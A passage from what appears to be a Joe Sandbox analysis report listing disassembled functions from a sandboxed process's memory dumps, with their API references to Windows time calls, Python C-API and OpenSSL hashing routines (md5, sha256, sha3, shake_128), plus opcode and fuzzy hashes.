Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 7ff4e97938adc5bb38bfeebc5981b68ed2a321e3e8e63433a9fab580c5a2b058
Instruction ID: 7642a944db027cb0513444f893d5574f527bdb081720a9f49fe2db621c6ac0f8
Opcode Fuzzy Hash: 7ff4e97938adc5bb38bfeebc5981b68ed2a321e3e8e63433a9fab580c5a2b058
Instruction Fuzzy Hash: 7F111C62B14F05CAEB008BA0EC552B933A4FB19BA8F441B31DA6D467A4EF78D168C740

Function 00007FF810C819AC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF810C819D8
GetCurrentThreadId.KERNEL32 ref: 00007FF810C819E6
GetCurrentProcessId.KERNEL32 ref: 00007FF810C819F2
QueryPerformanceCounter.KERNEL32 ref: 00007FF810C81A02

Memory Dump Source

Source File: 0000001D.00000002.2001914623.00007FF810C81000.00000020.00000001.01000000.0000005B.sdmp, Offset: 00007FF810C80000, based on PE: true

Associated: 0000001D.00000002.2001845112.00007FF810C80000.00000002.00000001.01000000.0000005B.sdmpDownload File
Associated: 0000001D.00000002.2001976863.00007FF810C83000.00000002.00000001.01000000.0000005B.sdmpDownload File
Associated: 0000001D.00000002.2002038707.00007FF810C85000.00000004.00000001.01000000.0000005B.sdmpDownload File
Associated: 0000001D.00000002.2002106651.00007FF810C86000.00000002.00000001.01000000.0000005B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c80000_check.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: f61330ec94df7f736e537beeeeccddd8555bcb6dbb56616d8d91a6ca41ed4185
Instruction ID: a92390d5d1f7fb4a32076719c4fd1069337e46cbc782092ab1c03a6fe688d64a
Opcode Fuzzy Hash: f61330ec94df7f736e537beeeeccddd8555bcb6dbb56616d8d91a6ca41ed4185
Instruction Fuzzy Hash: 9E117C26B14F018AEB00CF60EC542B933A4FB187A8F441E32DA2D467A8DF7CD1549780

Function 00007FF810C5456C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF810C54598
GetCurrentThreadId.KERNEL32 ref: 00007FF810C545A6
GetCurrentProcessId.KERNEL32 ref: 00007FF810C545B2
QueryPerformanceCounter.KERNEL32 ref: 00007FF810C545C2

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: d4dd57f0a562d5c20709f1ffde84a5b1c4dc43d32d2fa688bd66efdb76497f27
Instruction ID: bd7b1d138be752dbc627dda1eb9aca98d9a122f99c0db9565d0c76ffd1deabf9
Opcode Fuzzy Hash: d4dd57f0a562d5c20709f1ffde84a5b1c4dc43d32d2fa688bd66efdb76497f27
Instruction Fuzzy Hash: B9110326B14F0589EB00CF60EC552B933A4FB697A8F441E35DA6E867A4EF7CD1588740

Function 00007FF810C9509C Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

HMAC_CTX_new.LIBCRYPTO-3 ref: 00007FF810C950A9

Part of subcall function 00007FF810C95E04: HMAC_CTX_copy.LIBCRYPTO-3(?,?,?,00007FF810C950C2), ref: 00007FF810C95E2F

HMAC_CTX_free.LIBCRYPTO-3 ref: 00007FF810C950C9
_PyObject_New.PYTHON313 ref: 00007FF810C950E6
HMAC_CTX_free.LIBCRYPTO-3 ref: 00007FF810C950F4

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: X_free$Object_X_copyX_new
String ID:
API String ID: 745835719-0
Opcode ID: eb5b791a56cfa4efd7b77300c5b46611d480bf6ede16c862cdc3b674d1fa874e
Instruction ID: 219bd3ed4236607ed446c3e3ca0875c28ddbe45a15019c5b5ae0807048069a13
Opcode Fuzzy Hash: eb5b791a56cfa4efd7b77300c5b46611d480bf6ede16c862cdc3b674d1fa874e
Instruction Fuzzy Hash: 6E011DA1A0DE03D1EB549BA2ED5413D6290BF9DBE4B185635C90E4B3A1DE3DE454CB40

Function 00007FF810C435A0 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

PyObject_IsInstance.PYTHON313 ref: 00007FF810C435B0
PyObject_CallNoArgs.PYTHON313 ref: 00007FF810C435C2
PyErr_SetObject.PYTHON313 ref: 00007FF810C435D6
_Py_Dealloc.PYTHON313 ref: 00007FF810C435EA

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Object_$ArgsCallDeallocErr_InstanceObject
String ID:
API String ID: 469999563-0
Opcode ID: d4533a6812a31fffb057cabce0c1b9863dcc9223c5d04ba4b60ab168bf40d7d9
Instruction ID: 02a4fcf5cdac7e55ba10a07baa0ab2485db7075588f255d04173b347f9df53d7
Opcode Fuzzy Hash: d4533a6812a31fffb057cabce0c1b9863dcc9223c5d04ba4b60ab168bf40d7d9
Instruction Fuzzy Hash: 36F0FF65B48E4281EB554B16EE5523973A1AFA4FE1F089230CE4E8BB54DF3CD0D08B00

Function 00007FF810C92540 Relevance: 6.0, APIs: 4, Instructions: 26COMMON

Download Yara Rule

APIs

_PyObject_New.PYTHON313(?,?,?,00007FF810C92506), ref: 00007FF810C92546
EVP_MD_CTX_new.LIBCRYPTO-3(?,?,?,00007FF810C92506), ref: 00007FF810C9255A
_Py_Dealloc.PYTHON313(?,?,?,00007FF810C92506), ref: 00007FF810C94E26
PyErr_NoMemory.PYTHON313(?,?,?,00007FF810C92506), ref: 00007FF810C94E2C

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: DeallocErr_MemoryObject_X_new
String ID:
API String ID: 30467670-0
Opcode ID: 07b7af09d68c579a723ba67249815356d3c446a384986c9a96b528f2e8b7b1d7
Instruction ID: 35237b13030beaadefeb5b101f4880e9c99965a76ea1219b25f931b979614353
Opcode Fuzzy Hash: 07b7af09d68c579a723ba67249815356d3c446a384986c9a96b528f2e8b7b1d7
Instruction Fuzzy Hash: 14F015A1D4AF02C2FB199BF09C1423862A4BF0DBF6F081230C94E413A0EF3CA894CB11

Function 00007FF810C92FC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

PyObject_IsTrue.PYTHON313 ref: 00007FF810C9303B

Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91E82
Part of subcall function 00007FF810C91E20: _Py_hashtable_get.PYTHON313 ref: 00007FF810C91E92
Part of subcall function 00007FF810C91E20: EVP_MD_up_ref.LIBCRYPTO-3 ref: 00007FF810C91EB8
Part of subcall function 00007FF810C91E20: EVP_MD_get_flags.LIBCRYPTO-3 ref: 00007FF810C91EEC
Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91EFD
Part of subcall function 00007FF810C91E20: _PyObject_New.PYTHON313 ref: 00007FF810C91F06
Part of subcall function 00007FF810C91E20: EVP_MD_CTX_new.LIBCRYPTO-3 ref: 00007FF810C91F18
Part of subcall function 00007FF810C91E20: EVP_DigestInit_ex.LIBCRYPTO-3 ref: 00007FF810C91F34
Part of subcall function 00007FF810C91E20: EVP_MD_free.LIBCRYPTO-3 ref: 00007FF810C91F78

_PyArg_UnpackKeywords.PYTHON313 ref: 00007FF810C9308B

Strings

sha3_384, xrefs: 00007FF810C92FFE

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Module_Object_State$Arg_D_freeD_get_flagsD_up_refDigestInit_exKeywordsPy_hashtable_getTrueUnpackX_new
String ID: sha3_384
API String ID: 668498394-1508202818
Opcode ID: dd3d7342a6a24d8bac69b9d9c36a52b4ac99dcbcc769a6f99eed91a8fe696779
Instruction ID: d035c3a914f722c08e6a91d14df33715b64356624c6fabbe095342f16469479c
Opcode Fuzzy Hash: dd3d7342a6a24d8bac69b9d9c36a52b4ac99dcbcc769a6f99eed91a8fe696779
Instruction Fuzzy Hash: FB2192B2A08F51C5EF608B92E8446AAA2A4FF48FE4F185330DE8D47744DF7DD9418B00

Function 00007FF810C92EE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

PyObject_IsTrue.PYTHON313 ref: 00007FF810C92F5B

Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91E82
Part of subcall function 00007FF810C91E20: _Py_hashtable_get.PYTHON313 ref: 00007FF810C91E92
Part of subcall function 00007FF810C91E20: EVP_MD_up_ref.LIBCRYPTO-3 ref: 00007FF810C91EB8
Part of subcall function 00007FF810C91E20: EVP_MD_get_flags.LIBCRYPTO-3 ref: 00007FF810C91EEC
Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91EFD
Part of subcall function 00007FF810C91E20: _PyObject_New.PYTHON313 ref: 00007FF810C91F06
Part of subcall function 00007FF810C91E20: EVP_MD_CTX_new.LIBCRYPTO-3 ref: 00007FF810C91F18
Part of subcall function 00007FF810C91E20: EVP_DigestInit_ex.LIBCRYPTO-3 ref: 00007FF810C91F34
Part of subcall function 00007FF810C91E20: EVP_MD_free.LIBCRYPTO-3 ref: 00007FF810C91F78

_PyArg_UnpackKeywords.PYTHON313 ref: 00007FF810C92FAB

Strings

sha3_512, xrefs: 00007FF810C92F1E

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Module_Object_State$Arg_D_freeD_get_flagsD_up_refDigestInit_exKeywordsPy_hashtable_getTrueUnpackX_new
String ID: sha3_512
API String ID: 668498394-1707686796
Opcode ID: 95a6821129d1f1d855f72332d02fe5b69e412eb7a1ffa0068156916f5b5ea024
Instruction ID: 1da5134433dab808b5b6fb4fdce6af778129c9adea918cd8a61e39d14d30003c
Opcode Fuzzy Hash: 95a6821129d1f1d855f72332d02fe5b69e412eb7a1ffa0068156916f5b5ea024
Instruction Fuzzy Hash: 22218EB2A09F61C6EF608BD2E84466962A5FF48BE4F584331EE8D43745DF7CD9418B40

Function 00007FF810C92A80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

PyObject_IsTrue.PYTHON313 ref: 00007FF810C92AFB

Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91E82
Part of subcall function 00007FF810C91E20: _Py_hashtable_get.PYTHON313 ref: 00007FF810C91E92
Part of subcall function 00007FF810C91E20: EVP_MD_up_ref.LIBCRYPTO-3 ref: 00007FF810C91EB8
Part of subcall function 00007FF810C91E20: EVP_MD_get_flags.LIBCRYPTO-3 ref: 00007FF810C91EEC
Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91EFD
Part of subcall function 00007FF810C91E20: _PyObject_New.PYTHON313 ref: 00007FF810C91F06
Part of subcall function 00007FF810C91E20: EVP_MD_CTX_new.LIBCRYPTO-3 ref: 00007FF810C91F18
Part of subcall function 00007FF810C91E20: EVP_DigestInit_ex.LIBCRYPTO-3 ref: 00007FF810C91F34
Part of subcall function 00007FF810C91E20: EVP_MD_free.LIBCRYPTO-3 ref: 00007FF810C91F78

_PyArg_UnpackKeywords.PYTHON313 ref: 00007FF810C92B4B

Strings

md5, xrefs: 00007FF810C92ABE

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Module_Object_State$Arg_D_freeD_get_flagsD_up_refDigestInit_exKeywordsPy_hashtable_getTrueUnpackX_new
String ID: md5
API String ID: 668498394-3899452385
Opcode ID: d0d903901a9306ee33244f1dddf37dc022cb22594c5a86f09ed334459032734a
Instruction ID: 68f59194699e3e1335cd2aa0d1f41344beb777f7b4ac3ad073936cf8817fd50a
Opcode Fuzzy Hash: d0d903901a9306ee33244f1dddf37dc022cb22594c5a86f09ed334459032734a
Instruction Fuzzy Hash: 29217CB2A09F51C6EB608B91E844669A3A5FF48BE4F184631DE8E43745DF7CD941CB00

Function 00007FF810C93180 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

PyObject_IsTrue.PYTHON313 ref: 00007FF810C931FB

Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91E82
Part of subcall function 00007FF810C91E20: _Py_hashtable_get.PYTHON313 ref: 00007FF810C91E92
Part of subcall function 00007FF810C91E20: EVP_MD_up_ref.LIBCRYPTO-3 ref: 00007FF810C91EB8
Part of subcall function 00007FF810C91E20: EVP_MD_get_flags.LIBCRYPTO-3 ref: 00007FF810C91EEC
Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91EFD
Part of subcall function 00007FF810C91E20: _PyObject_New.PYTHON313 ref: 00007FF810C91F06
Part of subcall function 00007FF810C91E20: EVP_MD_CTX_new.LIBCRYPTO-3 ref: 00007FF810C91F18
Part of subcall function 00007FF810C91E20: EVP_DigestInit_ex.LIBCRYPTO-3 ref: 00007FF810C91F34
Part of subcall function 00007FF810C91E20: EVP_MD_free.LIBCRYPTO-3 ref: 00007FF810C91F78

_PyArg_UnpackKeywords.PYTHON313 ref: 00007FF810C9324B

Strings

sha3_224, xrefs: 00007FF810C931BE

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Module_Object_State$Arg_D_freeD_get_flagsD_up_refDigestInit_exKeywordsPy_hashtable_getTrueUnpackX_new
String ID: sha3_224
API String ID: 668498394-2731072511
Opcode ID: ba782d5e86d8d330d266834c63c7825d47883f428fa720d059488f240703f0f7
Instruction ID: 8e346ebd6dc0d6c2df070a22614f9efa97f625a030df06ff5d790c3b429fd426
Opcode Fuzzy Hash: ba782d5e86d8d330d266834c63c7825d47883f428fa720d059488f240703f0f7
Instruction Fuzzy Hash: 48217FB2A08F51C6EB608B91EC0466962A4FF48BE4F589231DE4D43755DF7DE9458B00

Function 00007FF810C929A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

PyObject_IsTrue.PYTHON313 ref: 00007FF810C92A1B

Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91E82
Part of subcall function 00007FF810C91E20: _Py_hashtable_get.PYTHON313 ref: 00007FF810C91E92
Part of subcall function 00007FF810C91E20: EVP_MD_up_ref.LIBCRYPTO-3 ref: 00007FF810C91EB8
Part of subcall function 00007FF810C91E20: EVP_MD_get_flags.LIBCRYPTO-3 ref: 00007FF810C91EEC
Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91EFD
Part of subcall function 00007FF810C91E20: _PyObject_New.PYTHON313 ref: 00007FF810C91F06
Part of subcall function 00007FF810C91E20: EVP_MD_CTX_new.LIBCRYPTO-3 ref: 00007FF810C91F18
Part of subcall function 00007FF810C91E20: EVP_DigestInit_ex.LIBCRYPTO-3 ref: 00007FF810C91F34
Part of subcall function 00007FF810C91E20: EVP_MD_free.LIBCRYPTO-3 ref: 00007FF810C91F78

_PyArg_UnpackKeywords.PYTHON313 ref: 00007FF810C92A6B

Strings

sha256, xrefs: 00007FF810C929DE

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Module_Object_State$Arg_D_freeD_get_flagsD_up_refDigestInit_exKeywordsPy_hashtable_getTrueUnpackX_new
String ID: sha256
API String ID: 668498394-1556616439
Opcode ID: 5ee0148e0fec06df706faf83d6b9c37e60e47ebe0efc91c6d27a32b600e5e6c8
Instruction ID: 35e0556604a023742bbf06409205bb0c4869d600567840eccbb3925bb95517f1
Opcode Fuzzy Hash: 5ee0148e0fec06df706faf83d6b9c37e60e47ebe0efc91c6d27a32b600e5e6c8
Instruction Fuzzy Hash: F42180B2609F81C6EF608B92EC14669A2A5FF48BE4F594231DE8D47755DF3CD940DB00

Function 00007FF810C930A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

PyObject_IsTrue.PYTHON313 ref: 00007FF810C9311B

Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91E82
Part of subcall function 00007FF810C91E20: _Py_hashtable_get.PYTHON313 ref: 00007FF810C91E92
Part of subcall function 00007FF810C91E20: EVP_MD_up_ref.LIBCRYPTO-3 ref: 00007FF810C91EB8
Part of subcall function 00007FF810C91E20: EVP_MD_get_flags.LIBCRYPTO-3 ref: 00007FF810C91EEC
Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91EFD
Part of subcall function 00007FF810C91E20: _PyObject_New.PYTHON313 ref: 00007FF810C91F06
Part of subcall function 00007FF810C91E20: EVP_MD_CTX_new.LIBCRYPTO-3 ref: 00007FF810C91F18
Part of subcall function 00007FF810C91E20: EVP_DigestInit_ex.LIBCRYPTO-3 ref: 00007FF810C91F34
Part of subcall function 00007FF810C91E20: EVP_MD_free.LIBCRYPTO-3 ref: 00007FF810C91F78

_PyArg_UnpackKeywords.PYTHON313 ref: 00007FF810C9316B

Strings

sha3_256, xrefs: 00007FF810C930DE

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Module_Object_State$Arg_D_freeD_get_flagsD_up_refDigestInit_exKeywordsPy_hashtable_getTrueUnpackX_new
String ID: sha3_256
API String ID: 668498394-59190292
Opcode ID: 1a380d7d990d390a7d45ee019aee0d9bda28247b657343f03e0a26770255c166
Instruction ID: ab575ea55720700b942df3916d7d8073132c3a9f5945c175ba48210ee9358e8f
Opcode Fuzzy Hash: 1a380d7d990d390a7d45ee019aee0d9bda28247b657343f03e0a26770255c166
Instruction Fuzzy Hash: DC21BEB2B08F91C2EF608B91EC0466AA2A4FF88BE4F189231DE4D47754DF7CD9408B00

Function 00007FF810C93340 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

PyObject_IsTrue.PYTHON313 ref: 00007FF810C933BB

Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91E82
Part of subcall function 00007FF810C91E20: _Py_hashtable_get.PYTHON313 ref: 00007FF810C91E92
Part of subcall function 00007FF810C91E20: EVP_MD_up_ref.LIBCRYPTO-3 ref: 00007FF810C91EB8
Part of subcall function 00007FF810C91E20: EVP_MD_get_flags.LIBCRYPTO-3 ref: 00007FF810C91EEC
Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91EFD
Part of subcall function 00007FF810C91E20: _PyObject_New.PYTHON313 ref: 00007FF810C91F06
Part of subcall function 00007FF810C91E20: EVP_MD_CTX_new.LIBCRYPTO-3 ref: 00007FF810C91F18
Part of subcall function 00007FF810C91E20: EVP_DigestInit_ex.LIBCRYPTO-3 ref: 00007FF810C91F34
Part of subcall function 00007FF810C91E20: EVP_MD_free.LIBCRYPTO-3 ref: 00007FF810C91F78

_PyArg_UnpackKeywords.PYTHON313 ref: 00007FF810C9340B

Strings

shake_128, xrefs: 00007FF810C9337E

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Module_Object_State$Arg_D_freeD_get_flagsD_up_refDigestInit_exKeywordsPy_hashtable_getTrueUnpackX_new
String ID: shake_128
API String ID: 668498394-1102867705
Opcode ID: ccc8759d11b5c544821ef5f40d9b1deb1a0ff43bccd9965d239d95ffef6846de
Instruction ID: 66483c535d059904ec4b19a6b5ba4e6adeb8f42ca05c3009226b2925677a48e8
Opcode Fuzzy Hash: ccc8759d11b5c544821ef5f40d9b1deb1a0ff43bccd9965d239d95ffef6846de
Instruction Fuzzy Hash: B02180B2648F41C6EB608B92E854669A2A4FF88BE4F089230DE4D43764DF7CD541CB00

Function 00007FF810C92C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

PyObject_IsTrue.PYTHON313 ref: 00007FF810C92CBB

Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91E82
Part of subcall function 00007FF810C91E20: _Py_hashtable_get.PYTHON313 ref: 00007FF810C91E92
Part of subcall function 00007FF810C91E20: EVP_MD_up_ref.LIBCRYPTO-3 ref: 00007FF810C91EB8
Part of subcall function 00007FF810C91E20: EVP_MD_get_flags.LIBCRYPTO-3 ref: 00007FF810C91EEC
Part of subcall function 00007FF810C91E20: PyModule_GetState.PYTHON313 ref: 00007FF810C91EFD
Part of subcall function 00007FF810C91E20: _PyObject_New.PYTHON313 ref: 00007FF810C91F06
Part of subcall function 00007FF810C91E20: EVP_MD_CTX_new.LIBCRYPTO-3 ref: 00007FF810C91F18
Part of subcall function 00007FF810C91E20: EVP_DigestInit_ex.LIBCRYPTO-3 ref: 00007FF810C91F34
Part of subcall function 00007FF810C91E20: EVP_MD_free.LIBCRYPTO-3 ref: 00007FF810C91F78

_PyArg_UnpackKeywords.PYTHON313 ref: 00007FF810C92D0B

Strings

sha512, xrefs: 00007FF810C92C7E

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Module_Object_State$Arg_D_freeD_get_flagsD_up_refDigestInit_exKeywordsPy_hashtable_getTrueUnpackX_new
String ID: sha512
API String ID: 668498394-981861231
Opcode ID: 12240970c16825ce2c7a339ff5ec5a34a7661f8471c1723579acca0032c6cf49
Instruction ID: f9e4e7afb772931e8b99d224dbd76e45cfb5a570693f4c3f6fad14041778ff9a
Opcode Fuzzy Hash: 12240970c16825ce2c7a339ff5ec5a34a7661f8471c1723579acca0032c6cf49
